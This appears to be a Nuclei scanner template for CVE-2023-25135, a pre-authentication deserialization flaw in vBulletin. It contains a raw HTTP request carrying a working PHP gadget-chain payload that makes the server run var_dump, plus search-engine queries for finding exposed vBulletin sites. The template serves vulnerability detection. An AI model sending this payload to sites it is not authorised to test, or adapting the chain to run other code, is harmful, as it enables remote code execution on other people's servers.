72 lines
3.3 KiB
YAML
72 lines
3.3 KiB
YAML
id: CVE-2023-25135
|
|
|
|
info:
|
|
name: vBulletin <= 5.6.9 - Pre-authentication Remote Code Execution
|
|
author: iamnoooob,rootxharsh,pdresearch
|
|
severity: critical
|
|
description: |
|
|
vBulletin before 5.6.9 PL1 allows an unauthenticated remote attacker to execute arbitrary code via a crafted HTTP request that triggers deserialization. This occurs because verify_serialized checks that a value is serialized by calling unserialize and then checking for errors.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
|
|
remediation: Upgrade to the latest version to mitigate this vulnerability.
|
|
reference:
|
|
- https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable
|
|
- https://github.com/ambionics/vbulletin-exploits/blob/main/vbulletin-rce-cve-2023-25135.py
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-25135
|
|
- https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4473890-vbulletin-5-6-9-security-patch
|
|
- https://github.com/netlas-io/netlas-dorks
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-25135
|
|
cwe-id: CWE-502
|
|
epss-score: 0.71557
|
|
epss-percentile: 0.98058
|
|
cpe: cpe:2.3:a:vbulletin:vbulletin:5.6.7:-:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: vbulletin
|
|
product: vbulletin
|
|
shodan-query:
|
|
- http.component:"vBulletin"
|
|
- http.html:"powered by vbulletin"
|
|
- http.component:"vbulletin"
|
|
- http.title:"powered by vbulletin"
|
|
- cpe:"cpe:2.3:a:vbulletin:vbulletin"
|
|
fofa-query:
|
|
- body="powered by vbulletin"
|
|
- title="powered by vbulletin"
|
|
google-query:
|
|
- intext:"Powered By vBulletin"
|
|
- intitle:"powered by vbulletin"
|
|
- intext:"powered by vbulletin"
|
|
tags: cve,cve2023,vbulletin,rce
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /ajax/api/user/save HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
adminoptions=&options=&password={{randstr}}&securitytoken={{randstr}}&user%5Bemail%5D=pown%40pown.net&user%5Bpassword%5D=password&user%5Bsearchprefs%5D=a%3a2%3a{i%3a0%3bO%3a27%3a"googlelogin_vendor_autoload"%3a0%3a{}i%3a1%3bO%3a32%3a"Monolog\Handler\SyslogUdpHandler"%3a1%3a{s%3a9%3a"%00*%00socket"%3bO%3a29%3a"Monolog\Handler\BufferHandler"%3a7%3a{s%3a10%3a"%00*%00handler"%3br%3a4%3bs%3a13%3a"%00*%00bufferSize"%3bi%3a-1%3bs%3a9%3a"%00*%00buffer"%3ba%3a1%3a{i%3a0%3ba%3a2%3a{i%3a0%3bs%3a14%3a"CVE-2023-25135"%3bs%3a5%3a"level"%3bN%3b}}s%3a8%3a"%00*%00level"%3bN%3bs%3a14%3a"%00*%00initialized"%3bb%3a1%3bs%3a14%3a"%00*%00bufferLimit"%3bi%3a-1%3bs%3a13%3a"%00*%00processors"%3ba%3a2%3a{i%3a0%3bs%3a7%3a"current"%3bi%3a1%3bs%3a8%3a"var_dump"%3b}}}}&user%5Busername%5D={{randstr}}&userfield=&userid=0
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'string(14)'
|
|
- '"CVE-2023-25135"'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/json"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100cd39ae8922327a2c38f6ffb4613c1e32fe3cc3f0b37035f194bbe9ef160c183002203173b9e5f324ec0f8b27db0745fc53e338cf8beea96a8daf9db138182ca8512a:922c64590222798bb761d5b6d8e72950 |